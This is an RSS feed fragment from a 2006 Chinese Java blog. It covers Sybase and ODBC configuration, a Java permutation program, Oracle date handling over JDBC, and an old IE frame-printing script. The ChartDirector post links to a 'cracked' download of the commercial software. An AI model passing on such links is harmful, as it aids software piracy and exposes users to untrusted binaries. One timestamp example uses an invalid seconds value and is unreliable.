				<span lang="EN-US" style="FONT-SIZE: 12pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt">
				<span lang="EN-US" style="FONT-SIZE: 12pt"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt">
				<span lang="EN-US" style="FONT-SIZE: 12pt">CommLinks TCPIP{host=ServerIP,DOBROADCAST=NO}<o:p></o:p></span>
		</p>
		<p class="MsoBodyText" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoBodyText" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">
						<span style="mso-tab-count: 1">       </span>Datafile</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">——数据库文件名，可以包函路径</span>
		</p>
		<p class="MsoBodyText" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">
						<span style="mso-tab-count: 1">       </span>Servername</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">——数据库服务发布名称</span>
		</p>
		<p class="MsoBodyText" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">
						<span style="mso-tab-count: 1">       </span>ServerIP</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">——数据库服务器所在机器的</span>
				<span lang="EN-US">IP</span>
		</p>
		<p class="MsoBodyText" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoBodyText" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">
						<span style="mso-tab-count: 1">       </span>
				</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">通过上面的配置，客户端和服务端可以处在不同的网段。但服务器同一子网只能发布一个数据库服务器，当有多个数据库要发布时，要通过其它一些参数方能发布。具体可以参数</span>
				<span lang="EN-US">ASA</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的管理手册</span>
		</p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/72789.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2006-09-29 13:52 <a href="http://www.blogjava.net/galaxyp/archive/2006/09/29/72789.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>求0-9的全排列，参考了网上的代码</title><link>http://www.blogjava.net/galaxyp/archive/2006/09/07/68173.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Thu, 07 Sep 2006 01:13:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2006/09/07/68173.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/68173.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2006/09/07/68173.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/68173.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/68173.html</trackback:ping><description><![CDATA[public class qpl<br />{<br /> public static void main(String[] args)<br /> {<br />  char num[]={'0','1','2','3','4','5','6','7','8','9'};<br />  permutation(num,0,10);<br /> }<br /> public static void permutation(char num[] , int start , int len)<br /> {<br />  int i;<br />  char t;<br />  if (start &lt; len - 1)<br />  {<br />   permutation(num, start+1,len);<br />   for (i=start+1;i&lt;len;i++)<br />   {<br />    t=num[start];<br />    num[start]=num[i];<br />    num[i]=t;<br />    permutation(num,start+1,len);<br />    t=num[start];<br />    num[start]=num[i];<br />    num[i]=t;<br />   }<br />  }else<br />   System.out.println(num);<br /> }<br />}<img src ="http://www.blogjava.net/galaxyp/aggbug/68173.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2006-09-07 09:13 <a href="http://www.blogjava.net/galaxyp/archive/2006/09/07/68173.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>推荐一套图形报表工具——ChartDirector</title><link>http://www.blogjava.net/galaxyp/archive/2006/08/15/63740.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Tue, 15 Aug 2006 09:41:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2006/08/15/63740.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/63740.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2006/08/15/63740.html#Feedback</comments><slash:comments>9</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/63740.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/63740.html</trackback:ping><description><![CDATA[
		<p>
				<font color="#000000">
						<img height="289" alt="a.bmp" src="http://www.blogjava.net/images/blogjava_net/galaxyp/a.bmp" width="355" border="0" />
						<br /> <br /><img height="464" alt="d.bmp" src="http://www.blogjava.net/images/blogjava_net/galaxyp/d.bmp" width="486" border="0" /><br /><br /><img height="340" alt="b.bmp" src="http://www.blogjava.net/images/blogjava_net/galaxyp/b.bmp" width="568" border="0" /><br /><br /><img height="404" alt="c.bmp" src="http://www.blogjava.net/images/blogjava_net/galaxyp/c.bmp" width="580" border="0" /></font> <br /><br />管方网址：<a href="http://www.advsofteng.com/"><font color="#0000ff">www.advsofteng.com</font></a><br />破解下载：<a href="/Files/galaxyp/ChartDirector.rar">http://www.blogjava.net/Files/galaxyp/ChartDirector.rar</a><br /><br /><br /></p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/63740.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2006-08-15 17:41 <a href="http://www.blogjava.net/galaxyp/archive/2006/08/15/63740.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用java 操作 oracle 日期类型字段</title><link>http://www.blogjava.net/galaxyp/archive/2006/07/01/56073.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Sat, 01 Jul 2006 03:47:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2006/07/01/56073.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/56073.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2006/07/01/56073.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/56073.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/56073.html</trackback:ping><description><![CDATA[
		<p>在java对oracle的操作中，日期字段是很头疼的事情，其实仔细研究一下也并不难掌握。</p>
		<p>举个例子来说明：</p>
		<p>表 book  中有name varchar2(20)//书籍名称,buydate Date //购买日期 两个字段。</p>
		<p>已经创建了数据库连接Connection conn;</p>
		<p>方法一、使用java.sql.Date实现比较简单的yyyy-mm-dd格式日期。</p>
		<p dir="ltr" style="MARGIN-RIGHT: 0px">java.sql.Date不支持时间格式。切记不要使用new java.sql.Date(int year,int month,int date),因为还要处理时间差问题。</p>
		<p dir="ltr" style="MARGIN-RIGHT: 0px">PreparedStatement pstmt = conn.prepareStatement("insert into book (name,buydate) values (?,?)");</p>
		<p dir="ltr" style="MARGIN-RIGHT: 0px">java.sql.Date buydate=java.sql.Date.valueOf("2005-06-08");<br />pstmt.setString(1, "Java编程思想");<br />pstmt.setDate(2,buydate );<br />pstmt.execute();</p>
		<p>方法二、使用java.sql.Timestamp,同上不使用new Timestamp(....)</p>
		<p dir="ltr" style="MARGIN-RIGHT: 0px">PreparedStatement pstmt = conn.prepareStatement("insert into book (name,buydate) values (?,?)");</p>
		<p dir="ltr" style="MARGIN-RIGHT: 0px">java.sql.Timestamp buydate=java.sql.Timestamp.valueOf("2004-06-08 05:33:99");<br />pstmt.setString(1, "Java编程思想");<br />pstmt.setTimestamp(2,buydate );<br />pstmt.execute();</p>
		<p>方法三、使用oracle 的to_date内置函数</p>
		<p dir="ltr" style="MARGIN-RIGHT: 0px">PreparedStatement pstmt = conn.prepareStatement("insert into book (name,buydate) values (?,to_date(?, 'yyyy-mm-dd hh24:mi:ss')");</p>
		<p dir="ltr" style="MARGIN-RIGHT: 0px">String buydate="2004-06-08 05:33:99";<br />pstmt.setString(1, "Java编程思想");<br />pstmt.setString(2,buydate );<br />pstmt.execute();</p>
		<p dir="ltr" style="MARGIN-RIGHT: 0px">附:oracle日期格式参数 含义说明  <br />d: 一周中的星期几  <br />day: 天的名字，使用空格填充到9个字符  <br />dd: 月中的第几天  <br />ddd: 年中的第几天  <br />dy: 天的简写名  <br />iw: ISO标准的年中的第几周  <br />iyyy: ISO标准的四位年份  <br />yyyy: 四位年份  <br />yyy,yy,y: 年份的最后三位，两位，一位  <br />hh: 小时，按12小时计  <br />hh24: 小时，按24小时计  <br />mi: 分  <br />ss: 秒  <br />mm: 月  <br />mon: 月份的简写  <br />month: 月份的全名  <br />w: 该月的第几个星期  <br />ww: 年中的第几个星期</p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/56073.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2006-07-01 11:47 <a href="http://www.blogjava.net/galaxyp/archive/2006/07/01/56073.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>配置ODBC连接sybase sql anywhere open server 数据库</title><link>http://www.blogjava.net/galaxyp/archive/2006/06/28/55531.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Wed, 28 Jun 2006 06:03:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2006/06/28/55531.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/55531.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2006/06/28/55531.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/55531.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/55531.html</trackback:ping><description><![CDATA[具体步骤：<br />一.在服务器端以dbsrv7.exe path\yyy.db -n ServiceName -x tcpip -q 启动数据库，这里也可以指定端口，详细的参数请用dbsrv7.exe /?获取。<br />   -n servicename ，启动服务名为servicename的数据库服务用以标记网络数据库服务唯一标记；<br />   -x tcpip：使用tcp/ip协议，默认端口3362,注意不要被占用；<br />   -q 后台方式运行，没有数据库运行界面，只能看到进程；<br />二.启动成功后，另外机器操作：ODBC-&gt;新建一个Adaptive SQL Anywhere7.0数据源，配置如下：<br />   1.ODBC-&gt;dns name: 数据源名称<br />   2.Login-&gt;登录用户/密码<br />   3.Database-&gt; ServerName处输入步骤一中指定的serviceName<br />   4.Network -&gt; 钩中tcp/ip，参数处输入一中启动服务器所在机器的IP，格式如下： HOST=192.168.0.1其他协议都可以不选。<br />   4.重复3步骤，就可以配置多个客户端了，当然，服务器上也可以配置一个ODBC来连接到自己的。<img src ="http://www.blogjava.net/galaxyp/aggbug/55531.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2006-06-28 14:03 <a href="http://www.blogjava.net/galaxyp/archive/2006/06/28/55531.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>打印frame里的内容</title><link>http://www.blogjava.net/galaxyp/archive/2006/05/10/45436.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Wed, 10 May 2006 05:48:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2006/05/10/45436.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/45436.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2006/05/10/45436.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/45436.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/45436.html</trackback:ping><description><![CDATA[
		<p>代码网上找到的，不能用，也有可能是用法不对，做了一些修改，但还是不能通用，有时间了再说。<br /><br />function printFrame(frame) {</p>
		<p> if (printIsNativeSupport())<br />  window.print2 = window.print;<br /> window.print = printFrame;<br /> <br /> if (this.parent.document.frames(frame).document.readyState !== "complete" ){<br />  return;<br /> }</p>
		<p> if ( window.print2 ){ // IE5<br />  var focused = document.activeElement; <br />  this.parent.document.frames(frame).focus();<br />  if (this.parent.document.frames(frame).print2) <br />   this.parent.document.frames(frame).print2();<br />  else<br />   this.parent.document.frames(frame).print();<br />  return;<br /> }</p>
		<p> var eventScope = printGetEventScope(this.parent.document.frames(frame));<br /> var focused = document.activeElement;</p>
		<p> window.printHelper = function() {<br />  execScript("on error resume next: printWB.ExecWB 6, 1", "VBScript");<br />  printFireEvent(this.parent.document.frames(frame), eventScope, "onafterprint");<br />  printWB.outerHTML = "";<br />  window.printHelper = null;<br /> }</p>
		<p> document.body.insertAdjacentHTML("beforeEnd","&lt;object id=\"printWB\" width=0 height=0 \classid=\"clsid:8856F961-340A-11D0-A96B-00C04FD705A2\"&gt;&lt;/object&gt;");<br /> printFireEvent(this.parent.document.frames(frame), eventScope, "onbeforeprint");<br /> this.parent.document.frames(